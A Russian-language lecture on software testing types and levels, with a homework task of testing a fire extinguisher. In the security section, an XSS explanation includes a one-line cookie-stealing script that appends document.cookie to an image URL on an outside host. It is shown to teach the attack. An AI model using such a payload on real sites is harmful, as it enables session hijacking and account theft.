Классификация видов

тестирования

Преподаватель: Алтынник Александр

 Функциональные
Функциональные тесты базируются на функциях и особенностях, а также взаимодействии с другими системами.
Функциональные виды тестирования рассматривают внешнее поведение системы. Функциональные виды
тестирования бывают:

- Функциональное тестирование

- Тестирование пользовательского интерфейса (GUI Testing)

- Тестирование безопасности (ВАЖНО! Раньше этот вид всегда относили к функциональным видам
тестирования. НО в последнее время ведутся споры о том чтобы отнести его к нефункциональным
видам).

- Тестирование взаимодействия
 Тестирование функциональности (Functional Testing)

Тестирование функциональности или функциональное тестирование рассматривает заранее указанное

поведение и основывается на анализе спецификаций функциональности компонента или системы в целом.
Функциональные тесты основываются на функциях, выполняемых системой. Как правило, эти функции
описываются в функциональных требованиях, или в требованиях пользователей (use cases). Тестирование
функциональности может проводиться в двух аспектах:

● требования

● бизнес процессы

Тестирование в перспективе «требования» использует функциональные требования к системе как основу для
дизайна тестов (Test Cases).

Тестирование в перспективе «бизнес процессы» использует знание этих самых бизнес процессов, которые
описывают сценарии ежедневного использования системы. В этой перспективе тесты, как правило,
основываются на случаях использования системы (use cases).
 Тестирование пользовательского интерфейса (GUI Testing)
Если по простому то это функциональная проверка интерфейса на соответствие требованиям — размер,
шрифт, цвет.

Если рассмотреть более детально:

GUI - Graphical user interface (графический интерфейс пользователя) - то есть вы взаимодействуете с

компьютером, используя изображения, а не текст.

Что конкретно тестируем:

- расположение, размер, цвет, ширина, длина элементов; возможность ввода букв или цифр
- реализуется ли функционал приложения с помощью графических элементов
- размещение всех сообщений об ошибках (ввели неверный логин и пароль), уведомлений (а также
шрифт, цвет, размер, расположение и орфография текста)
- читабелен ли использованный шрифт
- переходит ли курсор из текстового в поинтер при наведении на активные элементы, выделяются ли
выбранные элементы
- выравнивание текста и форм
- качество изображений
- проверить расположение и отображение всех элементов при различных разрешениях экрана, а
также при изменении размера окна браузера (проверить, появляется ли скролл)

- проверить текст на орфографические, пунктуационные ошибки

- появляются ли тултипы, если есть необходимость (Tooltip - подсказка)

- унификация дизайна (цвета, шрифты, текст сообщений, названия кнопок и т.д.) - то есть
приведение дизайна к единообразной системе или форме
 Тестирование безопасности (Security and Access Control Testing)
Стратегия тестирования, используемая для проверки безопасности системы, а также для анализа рисков,
связанных с обеспечением целостного подхода к защите приложения, атак хакеров, вирусов,
несанкционированного доступа к конфиденциальным данным.
Основные принципы:

Конфиденциальность - это сокрытие определенных ресурсов или информации. Под конфиденциальностью

можно понимать ограничение доступа к ресурсу некоторой категории пользователей, или другими словами, при
каких условиях пользователь авторизован получить доступ к данному ресурсу. Например для доступа к ресурсу
нужен только логин и пароль или же нужны еще дополнительные подтверждения.

Целостность. информация не может быть повреждена ни случайно, ни умышленно каким-либо пользователем

или процессом.

Доступность - представляет собой требования о том, что ресурсы должны быть доступны авторизованному
пользователю, внутреннему объекту или устройству. Как правило, чем более критичен ресурс тем выше уровень
доступности должен быть. Только назначенным пользователям предоставляется доступ к информации.
Например внутренняя система больницы.

Отслеживаемость - система ведет журнал действий всех пользователей, предоставляет пользователям доступ к
информации в соответствии с их правами (Например: Администратор, модератор, обычный пользователь) и
реагирует на действия пользователей с целью минимизации возможных потерь, в том числе посредством
шифрования.
 Примеры уязвимостей

SQL - injections (один из самых доступных способов взлома сайта). Суть таких инъекций – внедрение в данные
(передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и
выполняет такие инъекции, то по сути есть возможность творить с БД что угодно.

Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в
шуточный SQL язык, мы получим:

ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи — Петя.
Петя, будущий хакер, дописал там «ИЛИ Пете» и получился такой запрос:

ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Не фильтруя
данные (Мама еле разобрала почерк), Петя добился выгоды.
JavaScript injections - также очень популярным видом атак является межсайтовый скриптинг с
применением javascript. Также может встречаться название XSS Cross-Site Scripting — «межсайтовый
скриптинг». Это такой тип атак, который внедряет в веб-системы вредоносный код, заставляя её
выдавать измененные данные, подменяет ссылки (видимые/скрытые) или выводит собственную
рекламу на пораженном ресурсе.

Существует два направления атак:

Пассивные – которые требуют непосредственного вмешательства субъекта атаки. Суть

заключается в том, чтобы заставить жертву перейти по вредоносной ссылке для выполнения
«вредокода». Такой тип атак более сложный в реализации, ведь необходимо обладать не только
техническими, но и психологическими знаниями.

Активные – это вид атак, когда хакер пытается найти уязвимость в фильтре сайта. Как же
реализуется такая атака? Все очень просто. Нужно при помощи комбинации тегов и символов
создать такой запрос, чтобы сайт его понял и выполнил команду. Как только дыра в
безопасности найдена, в наш запрос можно вложить «вредокод», который, например, будет
воровать cookie и пересылать в удобное нам место. Пример скрипта:

Img = new image()

Img.src = http://site.gif?+document.cookie;
 Как защитится?

- Использование HTTPs (безопасный протокол передачи гипертекста) — это расширение протокола

HTTP, поддерживающее шифрование. Для реализации передачи данных посредством HTTPS на веб-
сервере, обрабатывающем запросы от клиентов, должен быть установлен специальный сертификат.

Как это выглядит для пользователя:

На некоторых сайтах возле адреса страницы в браузере отображается значок замка. Он бывает
зелёного, золотого или серого цвета. Бывает, замок перечеркнут или вообще отсутствует, а иногда
рядом с доменным именем появляется зелёная строка с названием компании.

Замок или зелёная строка означают, что на сайте установлен сертификат и вся информация
передается по защищенному протоколу.

Протокол — это такой набор правил; браузер и сервер используют его, чтобы обмениваться
информацией.

Сертификат не дает мошенникам перехватить или подменить личные данные пользователей:

контактную информацию, номера банковских карт, логины, пароли, адреса электронной почты и т.
д.
 Защита мобильного приложения
Основные виды атак на мобильное приложение:

- Декомпиляция файла приложения (.ipa-файлы для Apple iOS и .apk-файлы для Google Android) и
разбор локально сохраненных данных. Защита этого, наиболее важного в настоящее время, уровня
целиком лежит на плечах мобильного разработчика. По простому вы можете разархивировать
файлы внутри установленного приложения и если они не зашифрованы, можно или взять оттуда
информацию или внести изменения в конфиги.

- Перехват данных, передаваемых по сети (MITM-атаки). Большинство мобильных приложений

являются клиент-серверными, следовательно, постоянно передают и принимают большие объемы
информации. Защита использование HTTPs

- Рутирование устройства и атака на приложение и применяемые в нем алгоритмы через внешние

отладочные инструменты. Взлом ОС устройства.
 Тестирование взаимодействия (Interoperability Testing)

Функциональное тестирование, проверяющее

способность приложения взаимодействовать с одним и
более компонентами или системами и включающее в себя
тестирование совместимости и интеграционное
тестирование.

Тестирование совместимости (compatibility testing) -

Тестирование взаимодействия системы с другими
системами.

Интеграционное тестирование (Integration Testing) - вид

тестирования, при котором на соответствие требований
проверяется интеграция модулей, их взаимодействие
между собой, а также интеграция подсистем в одну общую
систему.
 Нефункциональные виды тестирования

Нефункциональное тестирование описывает тесты, необходимые для определения характеристик программного

обеспечения, которые могут быть измерены различными величинами. В целом, это тестирование того, "Как"
система работает.

● Все виды тестирования производительности

● Тестирование установки (Installation testing)

● Тестирование удобства пользования (Usability Testing)

● Тестирование на отказ и восстановление (Failover and Recovery Testing)

● Конфигурационное тестирование (Configuration Testing)

 Тестирование производительности

● нагрузочное тестирование (Performance and Load Testing)

● стрессовое тестирование (Stress Testing)

● тестирование стабильности или надежности (Stability / Reliability Testing)

● объемное тестирование (Volume Testing)

 Нагрузочное тестирование (Performance and Load Testing)
Автоматизированное тестирование, имитирующее работу
определенного количества бизнес пользователей на каком либо
общем (разделяемом ими) ресурсе. Например сайт рассчитан на
100 пользователей мы имитируем присутствие 100
пользователей на сайте, при этом проверяем:

- измерение времени выполнения выбранных операций при

определенных интенсивностях выполнения этих операций

- определение количества пользователей, одновременно

работающих с приложением определение границ
приемлемой производительности при увеличении
нагрузки (при увеличении интенсивности выполнения этих
операций)

- исследование производительности на высоких,

предельных, стрессовых нагрузках
 Стрессовое тестирование (Stress Testing)
Стрессовое тестирование позволяет проверить насколько приложение и система в целом работоспособны в
условиях стресса, например при нагрузке превышающей допустимую и то как объект тестирования поведёт себя
после прекращения воздействия стресса.

Разница между стрессовым и нагрузочным:

Нагрузочное — это тестирование в пределах значений нагрузки, которые должна выдерживать система, а
стрессовое — это тестирования за ее пределами.

Например требование к сайту: выдерживать нагрузку в 100 посетителей при нагрузочном проверяем работу при
100 посетителях. При стрессовом проверяем поведение при 1000 посетителях.

ВАЖНО! Что при стрессовом тестировании также мы проверяем как поведёт себя сайт после того как наплыв
людей схлынет.

Зачем это нужно проверять?

- наш сайт резко станет популярным,

- изначально ошиблись в анализе, сколько будет людей заходить на сайт,
- DDoS атаки от конкурентов.
 Тестирование стабильности или
надежности (Stability / Reliability Testing)

Задачей тестирования стабильности (надежности) является

проверка работоспособности приложения при длительном
(многочасовом) тестировании со средним уровнем нагрузки.

Перед тем как подвергать ПО экстремальным нагрузкам

стоит провести проверку стабильности в предполагаемых
условиях работы, то есть погрузить продукт в полную рабочую
атмосферу. При тестировании, длительность его проведения
не имеет первостепенного значения, основная задача —
наблюдая за потреблением ресурсов, выявить утечки памяти
и проследить чтобы скорость обработки данных и/или время
отклика приложения в начале теста и с течением времени не
уменьшалась. В противном случае вероятны сбои в работе
продукта и перезагрузки системы
 Объемное тестирование (Volume Testing)

По своей сути аналогично нагрузочному тестированию. Но задачей объемного тестирования является

получение оценки производительности не при увеличении количества пользователей ресурса, а при
увеличении объемов данных в базе данных этого ресурса.

Целью объемного тестирования является определение производительности системы при увеличении объемов
данных в базе данных. Тут нас интересуют те же показатели, что и при тестировании производительности, то
есть в основном - время выполнения операций при большой нагрузке БД.

Самые первые претенденты на объемное тестирование, это те места, где выбираются большие объемы данных
из БД или выполняются сложные sql запросы для выборки данных.
 Тестирование Установки или Installation
Testing

Тестирование установки направлено на проверку успешной

инсталляции и настройки, а также обновления или удаления
программного обеспечения. В настоящий момент наиболее
распространена установка ПО при помощи инсталляторов
специальных программ, которые сами по себе так же требуют
надлежащего тестирования.

Очень актуально для мобильного тестирования. Так как

существует огромное количество самых разных устройств,
важно проверить как на них устанавливается приложение, как
удаляется, как происходит накат (обновление версии).
Например не утеряны ли данные после обновления версии.
 Тестирование удобства пользования или Usability Testing

Тестирование удобства пользования дает оценку уровня удобства

использования приложения по следующим пунктам:

- производительность, эффективность (efficiency) - сколько

времени и шагов понадобится пользователю для завершения
основных задач приложения, например, размещение новости,
регистрации, покупка и т.д.? (меньше - лучше)
- правильность (accuracy) - сколько ошибок сделал пользователь
во время работы с приложением? (меньше - лучше)
- активизация в памяти (recall) – как много пользователь помнит о
работе приложения после приостановки работы с ним на
длительный период времени? (повторное выполнение операций
после перерыва должно проходить быстрее чем у нового
пользователя)
- эмоциональная реакция (emotional response) – как пользователь
себя чувствует после завершения задачи - растерян, испытал
стресс? Порекомендует ли пользователь систему своим друзьям?
 Тестирование на отказ и восстановление (Failover and Recovery Testing)

Проверяет тестируемый продукт с точки зрения способности

противостоять и успешно восстанавливаться после возможных
сбоев, возникших в связи с ошибками программного
обеспечения, отказами оборудования или проблемами связи
(например, отказ сети). Целью данного вида тестирования
является проверка систем восстановления (или дублирующих
основной функционал систем), которые, в случае возникновения
сбоев, обеспечат сохранность и целостность данных
тестируемого продукта.

Тестирование на отказ и восстановление очень важно для

систем, работающих по принципу “24x7”. От способности такого
ПО возобновлять работоспособность после непредвиденной
ситуации, а также минимизировать потери данных будет
зависеть не только репутация компании-разработчика, а порой и
нечто больше, чем деньги.
Для наглядности рассмотрим некоторые варианты подобного тестирования и общие методы их проведения.
Объектом тестирования в большинстве случаев являются весьма вероятные эксплуатационные проблемы, такие
как:

- Отключение электричества на компьютере-сервере

- Отключение электричества на компьютере-клиенте
- Незавершенные циклы обработки данных (например прерывание синхронизации).
- Объявление или внесение в массивы данных невозможных или ошибочных элементов.
- Отказ носителей данных.
- Обрыв интернет соединения
Технически реализовать тесты можно следующими путями:

- Симулировать внезапный отказ электричества на компьютере (обесточить компьютер).

- Симулировать потерю связи с сетью (выключить сетевой кабель, обесточить сетевое устройство)
- Симулировать отказ носителей (обесточить внешний носитель данных)
- Симулировать ситуацию наличия в системе неверных данных (специальный тестовый набор или база
данных).

При достижении соответствующих условий сбоя и по результатам работы систем восстановления, можно оценить
продукт с точки зрения тестирования на отказ. Во всех вышеперечисленных случаях, по завершении процедур
восстановления, должно быть достигнуто определенное требуемое состояние данных продукта:

- Потеря или порча данных в допустимых пределах.

- Отчет или система отчетов с указанием процессов или транзакций, которые не были завершены в результате
сбоя.
 Конфигурационное тестирование (Configuration Testing)
Конфигурационное тестирование (Configuration Testing) — специальный вид
тестирования, направленный на проверку работы программного обеспечения
при различных конфигурациях системы (заявленных платформах,
поддерживаемых драйверах, при различных конфигурациях компьютеров и т.д.)

В зависимости от типа проекта конфигурационное тестирование может иметь

разные цели:

1. Проект по профилированию работы системы. Цель определить оптимальную

конфигурацию оборудования, обеспечивающую требуемые характеристики
производительности и времени реакции тестируемой системы. (Говоря проще
определить минимальные и оптимальные системные требования).

2. Проект по миграции системы с одной платформы на другую. Цель проверить

объект тестирования на совместимость с объявленным в спецификации
оборудованием, операционными системами и программными продуктами
третьих фирм. (Мы продали наше ПО. Заказчик установил его в своем магазине
или на производстве, перенёс его на свои сервера, а оно не работает).

И снова таки очень актуально для мобильных устройств с их огромным количество

девайсов
 Связанные с изменениям
После проведения необходимых изменений, таких как исправление бага/дефекта, программное
обеспечение должно быть пере тестировано для подтверждения того факта, что проблема была
действительно решена. Ниже перечислены виды тестирования, которые необходимо проводить
после установки программного обеспечения, для подтверждения работоспособности приложения
или правильности осуществленного исправления дефекта:

• Дымовое тестирование (Smoke Testing)

• Тестирование сборки (Build Verification Test)

• Санитарное тестирование или проверка согласованности/исправности (Sanity Testing)

• Регрессионное тестирование (Regression Testing)

• Повторное тестирование (Re-testing)

 Дымовое тестирование (Smoke Testing)

Понятие дымовое тестирование пошло из инженерной среды:

“Запустили новое устройство, если дым не пошёл, всё хорошо

можно двигаться дальше”.

В области программного обеспечения, дымовое тестирование

рассматривается как цикл тестов, выполняемых для
подтверждения того, что после сборки кода (нового или
исправленного) устанавливаемое приложение, стартует и
выполняет основные функции.
 Тестирование сборки или Build
Verification Test

Тестирование направленное на определение соответствия, выпущенной версии,

критериям качества для начала тестирования. По своим целям является аналогом
Дымового Тестирования, направленного на приемку новой версии в дальнейшее
тестирование или эксплуатацию. Вглубь оно может проникать дальше, в зависимости от
требований к качеству выпущенной версии.
 Санитарное тестирование (Sanity Testing)

Это узконаправленное тестирование достаточное для доказательства того, что

конкретная функция работает согласно заявленным в спецификации требованиям.
Используется для определения работоспособности определенной части приложения
после изменений произведенных в ней или окружающей среде. Обычно выполняется
вручную.
 Smoke & Build Verification Test & Sanity

ВНИМАНИЕ!

В чем всё таки разница между этими тремя видами тестирования?

Smoke - это беглая проверка основного функционала. На примере автомобиля, основная его
цель, ездить, поворачивать и тормозить, мы убеждаемся, что предварительно эти функции
доступны к ним замечаний нет. Значит можем брать продукт в дальнейшее тестирование

Build Verification Test - Показываем что функционал из за которого была выпущена новая
версия работает. На примере всё того же автомобиля. Новая версия этой машина выпускалась
из за добавления в нее фар и сигнала. Значит прежде чем брать в тестирование машину мы
должны убедится что эти функции работают.

Sanity - доказываем, что данная конкретная функция работает. Заказчик никогда не примет
работу без движущихся дворников, значит перед предоставлением ему продукта мы должны
это проверить.
 Регрессионное тестирование (Regression
Testing)

Это вид тестирования направленный на проверку изменений, сделанных в приложении

или окружающей среде (починка дефекта, слияние кода, миграция на другую
операционную систему, базу данных, веб сервер или сервер приложения), для
подтверждения того факта, что существующая ранее функциональность работает как и
прежде. Регрессионными могут быть как функциональные, так и нефункциональные
тесты.
 Повторное тестирование (Re-testing)

Тестирование, во время которого исполняются

тестовые сценарии, выявившие ошибки во время
последнего запуска, для подтверждения
успешности исправления этих ошибок.
 Regression Testing & Re-testing
ВНИМАНИЕ!

В чем разница между regression testing и re-testing?

Re-testing — проверяется исправление багов

Regression testing — проверяется то, что исправление багов, а также любые изменения в коде приложения, не
повлияли на другие модули ПО и не вызвало новых багов.

Но в некоторых источника вы можете не встретить упоминания повторного тестирования, оно будет являться
частью регрессионного. Так Сэм Канер, к примеру, описал 3 основных типа регрессионного тестирования:

- Регрессия багов (Bug regression) попытка доказать, что исправленная ошибка на самом деле не
исправлена
- Регрессия старых багов (Old bugs regression) попытка доказать, что недавнее изменение кода или данных
сломало исправление старых ошибок, т.е. старые баги стали снова воспроизводиться.
- Регрессия побочного эффекта (Side effect regression) попытка доказать, что недавнее изменение кода или
данных сломало другие части разрабатываемого приложения
 Подведем небольшой итог

Мы познакомились с наиболее
распространенной классификацией видов
тестирования. Но это далеко не полный
перечень видов тестирования. О них мы
поговорим рассмотрев альтернативную
классификацию видов тестирования. Но о ней
мы поговорим на следующей лекции, а пока
предлагаю разобраться как лучше запомнить
пройденный материал.
 Как это всё выучить???

Рецепт прост! Тестируйте всё что видите вокруг. Тестируйте

по приведенному списку видов тестирования (включая
дополнительные) окружающие вас обыденные предметы.
Делаете чай подумайте о тестировании безопасности
чайника, режете хлеб об удобстве пользования ножом.
 Уровни тестирования
В Тестировании ПО можно выделить 4 типичных уровня
тестирования:

1. Модульное или Компонентное тестирование (Unit

Testing or Component Testing)

2. Интеграционное тестирование (Integration Testing)

3. Системное тестирование (System Testing)

4. Приемочное тестирование (Acceptance Testing)

5. И в некоторых источниках еще добавляют

Операционное тестирование (Release Testing)

ВАЖНО!!! Названия у некоторых уровней такие же как у

видов тестирования, но не стоит их путать это разные
вещи!!!
 ВНИМАНИЕ!!! УРОВНИ И ВИДЫ
ТЕСТИРОВАНИЯ РАЗНЫЕ ВЕЩИ!!!

Разные виды тестирования могут выполняться на разных уровнях тестирования или же только на некоторых
из них. Тут нет универсального разделения на каком уровне какие виды тестирования используются. Всё
зависит от проекта. Например тестирование безопасности если это банковский проект, возможно на всех
уровнях тестирования. Функциональное тестирование будет выполнятся также на всех уровнях. А вот
тестирование установки будем проводить на последних уровнях тестирования таких как операционное или
приемочное. Но повторюсь всё это зависит от проекта.
 Модульное или компонентное тестирование (Unit Testing)

Модульное тестирование, или юнит-тестирование (англ. unit testing) — процесс в программировании,

позволяющий проверить на корректность отдельные модули исходного кода программы. Идея состоит в том,
чтобы писать тесты для каждой нетривиальной функции или метода. Это позволяет достаточно быстро
проверить, не привело ли очередное изменение кода к регрессии, то есть к появлению ошибок в уже
протестированных местах программы, а также облегчает обнаружение и устранение таких ошибок.
 Интеграционное тестирование (Integration Testing)

На этом уровне на соответствие требований

проверяется интеграция модулей, их
взаимодействие между собой, а также интеграция
подсистем в одну общую систему. Для
интеграционного тестирования используются
компоненты, уже проверенные с помощью
модульного тестирования, которые группируются в
множества. Данные множества проверяются в
соответствии с планом тестирования,
составленным для них, а объединяются они через
свои интерфейсы.
 Системное тестирование (System Testing)

На этом уровне тестирование выполняется на полной,

интегрированной системе, с целью проверки соответствия
системы исходным требованиям, как функциональным, так и
не функциональным.

Тестирование на этом уровне рекомендуется в окружении,

максимально приближенном к окружению конечного
пользователя.
 Приемочное тестирование (Acceptance Testing)
На этом уровне тестирования, тестирование проводится на этапе сдачи
готового продукта (или готовой части продукта) заказчику. Целью
приемочного тестирования является определение готовности
продукта, что достигается путем прохода тестовых сценариев и
случаев, которые построены на основе спецификации требований к
разрабатываемому ПО.

Результатом приемочного тестирования может стать:

• Отправка проекта на доработку.

• Принятие его заказчиком, в качестве выполненной задачи.

Это финальный этап тестирования продукта перед его релизом. При

этом, он не является сверх тщательным, всеохватывающим и полным –
тестируется, в основном, только основной функционал. Приемочное
тестирование проводится либо самим заказчиком, либо группой
тестировщиков, представляющих интересы заказчика, либо
тестировщиками компании-разработчика. Зависит от предпочтений
компании-заказчика.
 Операционное тестирование (Release Testing).
Даже если система удовлетворяет всем требованиям, важно
убедиться в том, что она удовлетворяет нуждам пользователя и
выполняет свою роль в среде своей эксплуатации, как это было
определено в бизнес модели системы. Следует учесть, что и
бизнес модель может содержать ошибки. Поэтому так важно
провести операционное тестирование как финальный шаг
валидации. Кроме этого, тестирование в среде эксплуатации
позволяет выявить и нефункциональные проблемы, такие как:
конфликт с другими системами, смежными в области бизнеса
или в программных и электронных окружениях; недостаточная
производительность системы в среде эксплуатации и др.
Очевидно, что нахождение подобных вещей на стадии
внедрения — критичная и дорогостоящая проблема. Поэтому
так важно проведение не только верификации, но и валидации,
с самых ранних этапов разработки ПО.

Можно сказать что на этом уровне происходит внедрение

разработанной системы в среду заказчика. То есть своего рода
сопровождение.
Домашнее задание

1. Читаем материал лекции и готовимся к тесту

2. Необходимо протестировать огнетушитель по всем видам тестирования которые вы
сегодня изучили. Проявите фантазию!